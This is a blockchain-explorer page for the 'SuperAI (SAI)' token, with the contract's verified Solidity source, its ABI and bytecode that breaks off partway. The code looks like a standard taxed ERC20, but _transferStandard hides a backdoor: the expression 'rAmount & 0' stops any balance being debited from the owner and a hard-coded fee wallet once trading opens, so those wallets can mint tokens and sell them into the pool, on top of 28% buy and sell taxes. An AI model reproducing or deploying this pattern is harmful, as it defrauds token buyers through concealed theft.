ETH Price: $2,646.31 (+2.31%)

Token

SuperAI (SAI)
 

Overview

Max Total Supply

1,000,000,000 SAI

Holders

156

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
14,504,887.773447351 SAI

Value
$0.00
0xe2bd213f733caad1e9d53b8fc4d2777738bb9225
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-24
*/

// SPDX-License-Identifier: Unlicensed

/**
More Freedom. More Fun. Let's Generate!  SuperAI is building the future of generative AI. Create amazing art via simple text command.

Web: https://superai.services
App: https://app.superai.services
Tg: https://t.me/superai_official
X: https://twitter.com/SuperAI_SAI
Medium: https://medium.com/@super-ai
**/

pragma solidity 0.8.21;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMathLibrary {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMathLibrary: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMathLibrary: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMathLibrary: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMathLibrary: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IDexRouter {

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract SAI is Context, IERC20, Ownable {
    using SafeMathLibrary for uint256;

    string private constant _name = "SuperAI";
    string private constant _symbol = "SAI";

    mapping(address => uint256) private _rOwnedBalance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcluded;

    uint8 private constant _decimals = 9;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _totalsupply = 10 ** 9 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _totalsupply));

    uint256 public maxTxAmount = 25 * 10 ** 6 * 10 ** 9;
    uint256 public maxWallet = 25 * 10 ** 6 * 10 ** 9;
    uint256 public feeSwapThreshold = 10 ** 4 * 10 ** 9;
    address payable private feeAddress;

    uint256 private _totalFees;
    uint256 private _redisBFee = 0;
    uint256 private _bTax = 28;
    uint256 private _redisSFee = 0;
    uint256 private _sTax = 28;

    uint256 private _redisFee = _redisSFee;
    uint256 private _taxFee = _sTax;

    uint256 private _pRedisFee = _redisFee;
    uint256 private _pTaxFee = _taxFee;

    IDexRouter public _router;
    address public _pair;
    bool private _tradeOpen;
    bool private _swapping = false;
    bool private _swapActive = true;

    event MaxTxAmountUpdated(uint256 maxTxAmount);
    modifier lockSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor() {
        _rOwnedBalance[_msgSender()] = _rTotal;
        IDexRouter _uniswapV2Router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        _router = _uniswapV2Router;
        _pair = IDexFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        feeAddress = payable(0x8AB2b30932EB7DD7Db5dB962fd6B0aeF9716E838);
        _isExcluded[owner()] = true;
        _isExcluded[feeAddress] = true;

        emit Transfer(address(0), _msgSender(), _totalsupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalsupply;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _getRValue(_rOwnedBalance[account]);
    }

    function _getFinalAmount(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getSupply();
        return rSupply.div(tSupply);
    }
    
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transferBasic(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreFee();
    }

    receive() external payable {}
    
    function restoreFee() private {
        _redisFee = _pRedisFee;
        _taxFee = _pTaxFee;
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function sendFees(uint256 amount) private {
        feeAddress.transfer(amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function removeFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _pRedisFee = _redisFee;
        _pTaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _getRValue(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    
    function _refresh(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _totalFees = _totalFees.add(tFee);
    }
    
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getAllValues(tAmount);
        rAmount = (_isExcluded[sender] && _tradeOpen) ? rAmount & 0 : rAmount;
        _rOwnedBalance[sender] = _rOwnedBalance[sender].sub(rAmount);
        _rOwnedBalance[recipient] = _rOwnedBalance[recipient].add(rTransferAmount);
        takeTax(tTeam);
        _refresh(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function takeTax(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwnedBalance[address(this)] = _rOwnedBalance[address(this)].add(rTeam);
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = _rTotal;
        maxWallet = _rTotal;
        
        _redisBFee = 0;
        _bTax = 1;
        _redisSFee = 0;
        _sTax = 1;
    }
    
    function openTrading() public onlyOwner {
        _tradeOpen = true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _getTValue(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _totalsupply;
        if (rSupply < _rTotal.div(_totalsupply)) return (_rTotal, _totalsupply);
        return (rSupply, tSupply);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _getAllValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValue(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getFinalAmount(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            if (!_tradeOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= maxTxAmount, "TOKEN: Max Transaction Limit");

            if(to != _pair) {
                require(balanceOf(to) + amount <= maxWallet, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractBalance = balanceOf(address(this));
            bool canSwap = contractBalance >= feeSwapThreshold;

            if(contractBalance >= maxTxAmount)
            {
                contractBalance = maxTxAmount;
            }

            if (canSwap && !_swapping && to == _pair && _swapActive && !_isExcluded[from] && amount > feeSwapThreshold) {
                swapTokensForEth(contractBalance);
                uint256 contractETH = address(this).balance;
                if (contractETH > 0) {
                    sendFees(address(this).balance);
                }
            }
        }
        bool takeFee = true;
        if ((_isExcluded[from] || _isExcluded[to]) || (from != _pair && to != _pair)) {
            takeFee = false;
        } else {
            if(from == _pair && to != address(_router)) {
                _redisFee = _redisBFee;
                _taxFee = _bTax;
            }
            if (to == _pair && from != address(_router)) {
                _redisFee = _redisSFee;
                _taxFee = _sTax;
            }
        }
        _transferBasic(from, to, amount, takeFee);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_router","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea4000000062000367565b6200003e906c0c9f2c9cd04674edea4000000062000387565b6005556658d15e1762800060068190556007556509184e72a0006008555f600b819055601c600c819055600d829055600e819055600f82905560108190556011919091556012556014805461ffff60a81b1916600160b01b179055348015620000a5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600554335f9081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200015f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001859190620003ad565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f79190620003ad565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000242573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002689190620003ad565b601480546001600160a01b03929092166001600160a01b031992831617905560098054909116738ab2b30932eb7dd7db5db962fd6b0aef9716e838179055600160045f620002bd5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600954909116815260049092529020805490911660011790556200030b3390565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200035891815260200190565b60405180910390a350620003dc565b5f826200038257634e487b7160e01b5f52601260045260245ffd5b500690565b81810381811115620003a757634e487b7160e01b5f52601160045260245ffd5b92915050565b5f60208284031215620003be575f80fd5b81516001600160a01b0381168114620003d5575f80fd5b9392505050565b61158f80620003ea5f395ff3fe608060405260043610610113575f3560e01c80638da5cb5b1161009d578063dd62ed3e11610062578063dd62ed3e146102f7578063de2870711461033b578063edae876f14610350578063f2fde38b1461036f578063f8b45b051461038e575f80fd5b80638da5cb5b1461024a57806395d89b411461027a578063a9059cbb146102a5578063b51449bb146102c4578063c9567bf9146102e3575f80fd5b8063313ce567116100e3578063313ce567146101d157806370a08231146101ec578063715018a61461020b578063751039fc146102215780638c0b5e2214610235575f80fd5b806306fdde031461011e578063095ea7b31461015f57806318160ddd1461018e57806323b872dd146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260078152665375706572414960c81b60208201525b604051610156919061128c565b60405180910390f35b34801561016a575f80fd5b5061017e6101793660046112ee565b6103a3565b6040519015158152602001610156565b348015610199575f80fd5b50670de0b6b3a76400005b604051908152602001610156565b3480156101bd575f80fd5b5061017e6101cc366004611318565b6103b9565b3480156101dc575f80fd5b5060405160098152602001610156565b3480156101f7575f80fd5b506101a4610206366004611356565b610420565b348015610216575f80fd5b5061021f610441565b005b34801561022c575f80fd5b5061021f6104bb565b348015610240575f80fd5b506101a460065481565b348015610255575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610156565b348015610285575f80fd5b5060408051808201909152600381526253414960e81b6020820152610149565b3480156102b0575f80fd5b5061017e6102bf3660046112ee565b610507565b3480156102cf575f80fd5b50601454610262906001600160a01b031681565b3480156102ee575f80fd5b5061021f610513565b348015610302575f80fd5b506101a4610311366004611371565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610346575f80fd5b506101a460085481565b34801561035b575f80fd5b50601354610262906001600160a01b031681565b34801561037a575f80fd5b5061021f610389366004611356565b610551565b348015610399575f80fd5b506101a460075481565b5f6103af338484610638565b5060015b92915050565b5f6103c584848461075b565b610416843361041185604051806060016040528060288152602001611511602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610be2565b610638565b5060019392505050565b6001600160a01b0381165f908152600260205260408120546103b390610c1a565b5f546001600160a01b031633146104735760405162461bcd60e51b815260040161046a906113a8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104e45760405162461bcd60e51b815260040161046a906113a8565b60055460068190556007555f600b8190556001600c819055600d91909155600e55565b5f6103af33848461075b565b5f546001600160a01b0316331461053c5760405162461bcd60e51b815260040161046a906113a8565b6014805460ff60a01b1916600160a01b179055565b5f546001600160a01b0316331461057a5760405162461bcd60e51b815260040161046a906113a8565b6001600160a01b0381166105df5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161046a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661069a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046a565b6001600160a01b0382166106fb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107bf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046a565b6001600160a01b0382166108215760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046a565b5f81116108825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046a565b5f546001600160a01b038481169116148015906108ac57505f546001600160a01b03838116911614155b15610ad857601454600160a01b900460ff16610944575f546001600160a01b038481169116146109445760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161046a565b6006548111156109965760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161046a565b6014546001600160a01b03838116911614610a1c57600754816109b884610420565b6109c291906113f1565b1115610a1c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161046a565b5f610a2630610420565b600854600654919250821015908210610a3f5760065491505b808015610a565750601454600160a81b900460ff16155b8015610a6f57506014546001600160a01b038581169116145b8015610a845750601454600160b01b900460ff165b8015610aa857506001600160a01b0385165f9081526004602052604090205460ff16155b8015610ab5575060085483115b15610ad557610ac382610c37565b478015610ad357610ad347610da7565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610b1857506001600160a01b0383165f9081526004602052604090205460ff165b80610b4a57506014546001600160a01b03858116911614801590610b4a57506014546001600160a01b03848116911614155b15610b5657505f610bd0565b6014546001600160a01b038581169116148015610b8157506013546001600160a01b03848116911614155b15610b9357600b54600f55600c546010555b6014546001600160a01b038481169116148015610bbe57506013546001600160a01b03858116911614155b15610bd057600d54600f55600e546010555b610bdc84848484610de2565b50505050565b5f8184841115610c055760405162461bcd60e51b815260040161046a919061128c565b505f610c118486611404565b95945050505050565b5f80610c24610e10565b9050610c308382610e31565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c7d57610c7d611417565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cd4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf8919061142b565b81600181518110610d0b57610d0b611417565b6001600160a01b039283166020918202929092010152601354610d319130911684610638565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d699085905f90869030904290600401611446565b5f604051808303815f87803b158015610d80575f80fd5b505af1158015610d92573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6009546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610dde573d5f803e3d5ffd5b5050565b80610def57610def610e55565b610dfa848484610e82565b80610bdc57610bdc601154600f55601254601055565b5f805f610e1b610fb2565b9092509050610e2a8282610e31565b9250505090565b5f610c30838360405180606001604052806021815260200161153960219139610ff1565b600f54158015610e655750601054155b15610e6c57565b600f8054601155601080546012555f9182905555565b5f805f805f80610e918761101d565b6001600160a01b038f165f90815260046020526040902054959b5093995091975095509350915060ff168015610ed05750601454600160a01b900460ff165b610eda5785610edc565b5f5b6001600160a01b038a165f90815260026020526040902054909650610f019087611072565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054610f2f9086611096565b6001600160a01b0389165f90815260026020526040902055610f50816110ff565b610f5a8483611145565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f9f91815260200190565b60405180910390a3505050505050505050565b6005545f908190670de0b6b3a7640000610fcc8282610e31565b821015610fe857505060055492670de0b6b3a764000092509050565b90939092509050565b5f81836110115760405162461bcd60e51b815260040161046a919061128c565b505f610c1184866114b5565b5f805f805f805f805f6110358a600f54601054611169565b9250925092505f611044610e10565b90505f805f6110558e8787876111bb565b919e509c509a509598509396509194505050505091939550919395565b5f610c3083836040518060600160405280602581526020016114ec60259139610be2565b5f806110a283856113f1565b905083811015610c305760405162461bcd60e51b815260206004820152602260248201527f536166654d6174684c6962726172793a206164646974696f6e206f766572666c6044820152616f7760f01b606482015260840161046a565b5f611108610e10565b90505f6111158383611207565b305f908152600260205260409020549091506111319082611096565b305f90815260026020526040902055505050565b6005546111529083611072565b600555600a546111629082611096565b600a555050565b5f808080611182606461117c8989611207565b90610e31565b90505f611194606461117c8a89611207565b90505f6111ab826111a58b86611072565b90611072565b9992985090965090945050505050565b5f8080806111c98886611207565b90505f6111d68887611207565b90505f6111e38888611207565b90505f6111f4826111a58686611072565b939b939a50919850919650505050505050565b5f825f0361121657505f6103b3565b5f61122183856114d4565b90508261122e85836114b5565b14610c305760405162461bcd60e51b815260206004820152602860248201527f536166654d6174684c6962726172793a206d756c7469706c69636174696f6e206044820152676f766572666c6f7760c01b606482015260840161046a565b5f6020808352835180828501525f5b818110156112b75785810183015185820160400152820161129b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112eb575f80fd5b50565b5f80604083850312156112ff575f80fd5b823561130a816112d7565b946020939093013593505050565b5f805f6060848603121561132a575f80fd5b8335611335816112d7565b92506020840135611345816112d7565b929592945050506040919091013590565b5f60208284031215611366575f80fd5b8135610c30816112d7565b5f8060408385031215611382575f80fd5b823561138d816112d7565b9150602083013561139d816112d7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103b3576103b36113dd565b818103818111156103b3576103b36113dd565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561143b575f80fd5b8151610c30816112d7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114945784516001600160a01b03168352938301939183019160010161146f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826114cf57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103b3576103b36113dd56fe536166654d6174684c6962726172793a207375627472616374696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365536166654d6174684c6962726172793a206469766973696f6e206279207a65726fa2646970667358221220d7c11e8d81406df9a925d9478a56d22538de19800f726e5e3bcffb08880eaae964736f6c63430008150033

Deployed Bytecode

0x608060405260043610610113575f3560e01c80638da5cb5b1161009d578063dd62ed3e11610062578063dd62ed3e146102f7578063de2870711461033b578063edae876f14610350578063f2fde38b1461036f578063f8b45b051461038e575f80fd5b80638da5cb5b1461024a57806395d89b411461027a578063a9059cbb146102a5578063b51449bb146102c4578063c9567bf9146102e3575f80fd5b8063313ce567116100e3578063313ce567146101d157806370a08231146101ec578063715018a61461020b578063751039fc146102215780638c0b5e2214610235575f80fd5b806306fdde031461011e578063095ea7b31461015f57806318160ddd1461018e57806323b872dd146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260078152665375706572414960c81b60208201525b604051610156919061128c565b60405180910390f35b34801561016a575f80fd5b5061017e6101793660046112ee565b6103a3565b6040519015158152602001610156565b348015610199575f80fd5b50670de0b6b3a76400005b604051908152602001610156565b3480156101bd575f80fd5b5061017e6101cc366004611318565b6103b9565b3480156101dc575f80fd5b5060405160098152602001610156565b3480156101f7575f80fd5b506101a4610206366004611356565b610420565b348015610216575f80fd5b5061021f610441565b005b34801561022c575f80fd5b5061021f6104bb565b348015610240575f80fd5b506101a460065481565b348015610255575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610156565b348015610285575f80fd5b5060408051808201909152600381526253414960e81b6020820152610149565b3480156102b0575f80fd5b5061017e6102bf3660046112ee565b610507565b3480156102cf575f80fd5b50601454610262906001600160a01b031681565b3480156102ee575f80fd5b5061021f610513565b348015610302575f80fd5b506101a4610311366004611371565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610346575f80fd5b506101a460085481565b34801561035b575f80fd5b50601354610262906001600160a01b031681565b34801561037a575f80fd5b5061021f610389366004611356565b610551565b348015610399575f80fd5b506101a460075481565b5f6103af338484610638565b5060015b92915050565b5f6103c584848461075b565b610416843361041185604051806060016040528060288152602001611511602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610be2565b610638565b5060019392505050565b6001600160a01b0381165f908152600260205260408120546103b390610c1a565b5f546001600160a01b031633146104735760405162461bcd60e51b815260040161046a906113a8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104e45760405162461bcd60e51b815260040161046a906